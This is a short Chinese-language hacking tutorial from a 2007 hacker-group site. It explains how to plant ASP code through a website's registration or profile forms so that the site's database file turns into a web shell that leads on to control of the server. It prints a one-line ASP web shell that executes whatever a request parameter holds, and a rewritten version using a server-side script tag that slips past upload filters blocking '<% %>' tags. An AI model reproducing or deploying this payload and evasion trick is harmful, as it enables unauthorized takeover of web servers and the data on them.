插入ASP代码让网站数据库成木马 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文	用户登录新用户注册

插入ASP代码让网站数据库成木马

热

【字体：小大】

插入ASP代码让网站数据库成木马

作者：佚名文章来源：网络点击数：更新时间：2007-9-3

很多时候我们可以通过在注册表单或者用户信息修改表单中，插入简短的ASP代码，使网站ASP数据库变成为一个ASP木马，然后进一步入侵控制服务器。

　　不过在上传代码过程中，许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。

　　这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。

　　首先：原程序代码是：

　　〈%execute request("l")%〉

　　我们可以把它的标签换下来。

　　然后改成：

　　〈scriptlanguage=VBScript runat=server〉execute request("l")〈/Script〉

　　这样就避开了使用〈%%〉，保存为.ASP,程序同样执行。

文章录入：IceRiver 责任编辑：admin

上一篇文章：网络攻击常用命令综述

下一篇文章：黑客隐藏PHP文件后门的技巧

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				微软终于让步 Vista SP1支持非主流入侵之会话劫持winnt/ Asterisk 畸形 MIME 数据时有 Kaspersky Anti-Spam存在不安 MySpace蠕虫病毒利用Fast-Fl ASP注入应用漏洞解决方法整理针对插入式木马的清除方法突破性的ASP+技术 asp+语法介绍(五)----asp+的 asp+语法介绍(四)----asp+的

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM